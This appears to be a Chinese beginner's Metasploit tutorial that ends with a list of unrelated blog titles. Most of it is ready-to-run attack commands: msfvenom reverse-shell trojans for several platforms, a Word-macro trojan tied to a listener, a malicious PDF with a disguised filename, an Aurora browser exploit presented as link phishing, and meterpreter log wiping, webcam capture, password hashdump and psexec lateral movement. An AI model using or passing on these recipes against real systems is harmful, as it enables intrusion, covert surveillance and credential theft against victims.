msf小白学习教程一

1.msf是什么?

msf全称:metasplpit
作用:Metasploit是一个渗透测试平台
环境:kali-linux 自动搭建了msf环境

2.msf的详细分解

在这边我就化繁为简,把一些我感觉重要常用的功能详细的讲解一番。

2.1搜索模块

首先肯定是启动msf,启动就很简单了,在kali命令行输入:msfconsole 如果记不住,可以直接:msfc然后加一个tab,然后就会自动补全,回车就好了。


2.1.1 搜索模块命令:search

命令介绍:msfconsole包含广泛的基于正则表达式的搜索功能。如果您对所查找内容有一个大致的了解,则可以通过搜索进行搜索。在下面的输出中,正在搜索MS Bulletin MS09-011。搜索功能将在模块名称,描述,引用等内找到该字符串。

请注意,Metasploit模块的命名约定使用下划线和连字符。
msf > search usermap_script

Name Disclosure Date Rank Description


exploit/multi/samba/usermap_script 2007-05-14 excellent Samba “username map script” Command Execution

2.1.2 help

您可以使用内置的关键字系统进一步优化您的搜索。命令:help search

要使用描述性名称进行搜索,请使用name关键字。

您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。

使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。


使用author关键字搜索可让您搜索您最喜爱的作者的模块

当然,search命令还可以在拿到一定权限时,可以在受害者机器内搜索想要的信息
Meterpreter具有搜索功能,默认情况下,该功能将清除受感染计算机上的所有驱动器,以查找您选择的文件。
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d 开始从中搜索的 目录/驱动器。 留空以搜索所有驱动器。 (默认:)
-f 要搜索的文件模式glob。 (例如* secret * .doc?)
-h 帮助横幅。
-r 递归搜索子目录。 (默认:true)

要在计算机上运行所有jpeg文件搜索,只需使用’-f’开关运行搜索命令并告诉它要查找哪种文件类型。
meterpreter > search -f *.jpg
Found 418 results…
…snip…
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (28521 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (71189 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (83794 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (105542 bytes)
…snip…

搜索整台计算机可能需要很长时间,并且观察用户可能会注意到他们的硬盘不断颠簸。我们可以通过将它指向一个起始目录并让它运行来缩短搜索时间。
meterpreter > search -d c:\documents\ and\ settings\administrator\desktop\ -f *.pdf
Found 2 results…
c:\documents and settings\administrator\desktop\operations_plan.pdf (244066 bytes)
c:\documents and settings\administrator\desktop\budget.pdf (244066 bytes)
meterpreter >

2.2 msf与meterpreter命令大全

2.2.1 msf命令

核心命令
? 帮助菜单
banner 显示一个真棒metasploit横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep另一个命令的输出
help 帮助菜单
history 显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号

模块命令
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块

工作命令
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename_job 重命名作业

资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令

数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换

凭证后端命令
creds 列出数据库中的所有凭据


2.2.2 meterpreter命令

.background 从meterpreter退出到msf里

.sessions -i 1 进入meterpreter里

.cat 查看文件内容

.clearev 清楚日志

.download 从远程机器下载文件 download c:\boot.ini

.edit 打开文件。 meterpreter > edit edit.txt

.execute 命令在目标上运行一个命令。meterpreter > execute -f cmd.exe -i -H。

.getuid 显示服务器上运行的用户

.idletume 显示远程机器上的用户空闲的秒数

.lpwd>lcd lpwd-显示当前目录 lcd-跳转到哪个目录

.migrate 迁移到受害者的另一个进程 meterpreter > run post/windows/manage/migrate

.ps 显示正在运行进程的列表

.resource 执行文本里的meterpreter命令 resource 1.txt

.search 查找特定文件 search -f *.doc

.shell 将提供目标系统上的标准shell

.upload 上传文件 meterpreter > upload evil_trojan.exe c:\windows\system32

.webcam_list 显示网络摄像头

.webcam_snap 从目标系统上已连接网络的摄像头抓取图片


2.3 msf生成木马教程

把网上的一些资源整合了一下,还把word宏木马等也加进来了,方便大家利用

2.3.1 生成木马命令:msfvenom

msfcenom详细语法
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

2.3.2 生成木马语句

二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php

asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset

PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了


读到这里,大家肯定会感到疑惑,生成木马后怎么获取权限呢,那么我在这里给出答复,一般情况下用两种方式,一种是用msf的监听模块,还有一种就是nc反弹了,这里我就讲解下msf的监听模块,nc大家就自行百度下


监听模块:use exploit/multi/handler
添加ip,端口不需要讲解吧
添加payload:set payload
payload是生成木马的payload
然后运行:exploit

接下来的比较有意思,基于word的shellcode

生成payload:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.171.129 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe

生成的内容分为两个部分,一部分是宏执行的vba代码,另一部分是payload

然后生成一个空白的word文件

宏名随便输入,然后点击创建,我们拷贝生成的第一部分的内容到这里,然后点击保存

我们现在再打开宏,可以看到生成了下面几个宏

然后我们拷贝第二部分,贴到word文档的正文里面,然后保存关闭

然后在Kali上启动侦听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.171.129
exploit
当在Windows启动刚刚的word时,我们就取得shell了

2.4 链接钓鱼

运行命令:use exploit/windows/browser/ms10_002_aurora
接着添加:set URIPATH /
加上payload:set PAYLOAD windows/meterpreter/reverse_tcp
运行:exploit -j
当目标访问我们的恶意URL时,我们就得到了shell


####

2.5 内网穿透

内网穿透不知道我理解的有没有毛病,就相当于在目标系统添加路由,然后转发出去,这边我只接受使用msf方法操作,可能感觉有点怪怪的,但是懂得都懂,好兄弟。

2.5.1 route添加路由

命令详细:

  1. add - 制作新路线
  2. remove - 删除路线; 'del’是一个别名
  3. flush - 删除所有路线
  4. get - 显示给定目标的路线
  5. print - 显示所有活动路线

#这边和大家讲下,此方法是获取到了meterpreter后的操作,不过也对,没有获取也不会做到这一步,我真是废话了。

例子:
通过session 1为从192.168.0.0到192.168.0.0的所有主机添加路由
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1

删除上述路线
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1


显示将用于给定主机或网络的路线
route get 192.168.0.11

2.5.2 autoroute 添加路由

命令说明:

  1. run autoroute -s 10.1.1.0 -n 255.255.255.0#将路由添加到10.10.10.1/255.255.255.0
  2. run autoroute -s 10.10.10.1#网络掩码默认为255.255.0
  3. run autoroute -s 10.10.1/24#CIDR表示法也可以
  4. run autoroute -p#打印活动路由表
  5. run autoroute -d -s 10.10.10.1#删除10.10.1/255.255.0路由
  6. 使用“route”和“ipconfig”metermeter命令了解可用路由


run autorpute -s 10.1.13.0/24 绑定路由


run autoroute -p 查看


_现在开始举一个例子,假如现在测试一个公司系统,拿到了一台主机的权限,查看它的ip段发现,除了它本身的段,还存在10.1.13.0/24的段,那么首先添加10.1.13.0/24的路由,run autoroute -s 10.1.13.0/24,然后我们还得提权到system,然后转储密码散列,退出meterpreter,background

meterpdreter > getsystem
…xxxx system
meterpreter > run hashdump
*
*
administrator:dwadwadwadwadwadwadawd
guest:Dwadwadwad


虽然我们添加了它第二个ip段的路由,但是还是不知道它第二个ip段有没有存活主机,现在用msf扫描一下,这里用基本的tcp端口扫描程序来查找端口139和445


  1. msf:>use auxiliary/scanner/portscan/tcp#进入扫描模块
  2. msf auxiliary(tcp)> set rhosts 10.1.13.0/24
  3. msf auxiliary(tcp)>set ports 139,445
  4. msf auxiliary(tcp)>set threads 50
  5. msf auxiliary(tcp)>run

假设我们发现了一台额外的机器,我们尝试将我们收集的密码哈希与psexec漏洞利用模块一起使用,本地管理员密码在整个企业中通常是相同的。


msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set rhost 10.1013.2

msf exploit(psexec) > set smbuser Administrator

msf exploit(psexec) > set smbpass xxxxxxxxxxxx

msf exploit(psexec) > set payload windows/meterpreter/bind_tcp

msf exploit(psexec) > exploit

#这边就显示了成功获取meterprter


2.5.3 portfwd 添加路由

命令说明:

options:选项

  1. -L :用于指定监听主机。除非需要在特定网络适配器上进行转发,否则可以省略此选项。如果未输入任何值,则将使用0.0.0.0.
  2. -h :显示以上信息
  3. -l :这是一个本地端口,它将在攻击机上监听,与此端口的连接将被转发到远程系统。
  4. -p :tcp连接将转发到的端口。
  5. -r :连接被中继到的ip地址(目标)。

Arguments:参数

  1. Add: 该参数用于创建转发。
  2. Delete: 这将我们的转发端口列表中删除先前的条目。
  3. List: 这将列出当前转发的所有端口。
  4. Flush: 这将删除我们转发列表中的所有端口。

Syntax:语法

add >
在meteroreter shell中,以下列方式使用该命令:


meterpreter > portfwd add -l 3389 -p 3389 -r xxx.xx.xx.xx


• add会将端口转发添加到列表中,并将为我们创建一个隧道。请注意,此通道也将存在于Metasploit控制台之外,使其可用于任何终端会话。
• -l 3389是本地端口,将被监听并转发到我们的目标。这可以是您的机器上的任何端口,只要它尚未被使用。
• -p 3389是我们的定向主机上的目标端口。
• -r [target host]是我们的目标系统的IP或主机名。


delete >
与前面的命令非常相似,它是删除条目。再次从有效的Meterpreter会话中,我们输入以下内容:
meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]



metasploit小白教程总结相关推荐

  1. word打开老是配置进度_小白教程 | office出现配置进度框,怎么办?

    最近很多同学在备考二级时候,自己的电脑上office软件Word或者Excel出问题了,每次打开都会出现配置进度框. 这种情况怎么办呢? 这种情况都是注册表的问题,马上安排解决 之前在  右键菜单没有 ...

  2. html中一个页面大概多少px,当屏幕 (浏览器窗口) 小于 768px, 每一列的宽度是 100% -HTML教程_小白教程_css5.net...

    小白教程(css5.net) * { box-sizing: border-box; } .row:after { content: ""; clear: both; displa ...

  3. Windows 系统下安装anaconda教程 ,小白教程!!!

    Windows 系统下安装anaconda教程 ,小白教程!!! 1.在ANACONDA 官网下载ANACONDA 官网地址:https://www.anaconda.com/distribution ...

  4. 计算机网络教程网线制作,图吧小白教程 篇二十六:手把手教你自制网线(夹网线水晶头)...

    图吧小白教程 篇二十六:手把手教你自制网线(夹网线水晶头) 2019-11-19 23:07:38 31点赞 309收藏 27评论 创作立场声明:咕咕咕 教程最后还是出了,不过咱现在用啥还是直接网购号 ...

  5. 科学计算机后盖换电池,图吧小白教程 篇二十二:手把手教你给手机换电池(拆机)...

    图吧小白教程 篇二十二:手把手教你给手机换电池(拆机) 2019-11-16 14:06:58 4点赞 18收藏 2评论 创作立场声明:手机换电池省钱可以自己动手从工钱上省,买电池最好还是不要省钱买杂 ...

  6. 安卓修改电池容量教程_图吧小白教程 篇三十二:手机拆换原装电池教程——替换寿命将届的原厂电池,提升手机续航...

    图吧小白教程 篇三十二:手机拆换原装电池教程--替换寿命将届的原厂电池,提升手机续航 2019-12-05 13:01:04 1点赞 20收藏 1评论 你是AMD Yes党?还是intel和NVIDI ...

  7. 如何搭建一个属于自己的博客网站?(小白教程)

    如何搭建一个属于自己的博客网站?(小白教程) 一.准备阶段 二.搭建阶段 1.服务器阶段 2.宝塔面板阶段 3.WordPress阶段 三.结尾语 欢迎大家访问我的个人博客:endeavorchuan ...

  8. kali-linux的快速下载(小白教程)

    快速下载地址 快速下载地址1:http://cdimage.kali.org/kali-2018.4/kali-linux-2018.4-amd64.iso (单版本) 快速下载地址2:https:/ ...

  9. 用Linux系统电脑越狱ipad3,图吧小白教程 篇一:电脑远程控制IPHONE(越狱)

    图吧小白教程 篇一:电脑远程控制IPHONE(越狱) 2019-10-14 10:52:45 6点赞 27收藏 6评论 创作立场声明:这就是图吧的日常.日子照常过,40块钱的手机就当智能硬件使 电脑远 ...

最新文章

  1. JavaScript基本知识
  2. 我和freelancer不得不说的故事5 --- 心理落差
  3. 也许是东半球直接底气的分库分表实践了
  4. 自动识别HTML代码里的图片链接,并下载到服务器的指定目录(开源)
  5. Codeforces Beta Round #16 (Div. 2 Only)【未完结】
  6. 加密(Asp.Net配置文件的)配置节
  7. c++17(24)-枚举与switch
  8. 透过迷雾不再迷茫 浅析海康威视透雾技术
  9. iPhone 13或有8款配色;vivo百万年薪招工程师;特斯拉新增行车记录视频紧急情况自动保存功能|极客头条...
  10. yolov5的wts权重转成tensorrt的engine权重一定要注意的问题:版本匹配(有什么问题可以私信我)
  11. P2915 [USACO08NOV] Mixed Up Cows
  12. 【牛客网】Whalyzh's Problem
  13. 服务器各项指标的图形化显示
  14. Linux tar 打包
  15. 织梦php集成环境安装包,常用PHP运行环境一键安装包
  16. 中国互联网有哪些黑色产业链?
  17. word常用宏方法介绍
  18. 义隆单片机C语言2ms中断,义隆单片机编程时应注意的几点.doc
  19. 科研用matlab还是python_科的解释|科的意思|汉典“科”字的基本解释
  20. 我对说话人识别/声纹识别的研究综述

热门文章

  1. 消息推送技术干货:美团实时消息推送服务的技术演进之路
  2. 李宏毅 机器学习 2016 秋:5、Classification:Probabilistic Generative Model
  3. 什么是高斯模糊算法?
  4. 流浪日记无限金币html,流浪日记无敌版金钱版
  5. 波及Win 11,让安全员自动放弃的零日漏洞,微软这次麻烦了
  6. 我所看到的印度软件业
  7. Apache Hudi的编译及安装
  8. JS输入语句与输出语句
  9. Android使用百度地图定位SDK在wifi下位置偏差
  10. 【多场景建模】CIKM2021 阿里妈妈多场景CTR预估模型STAR 论文精读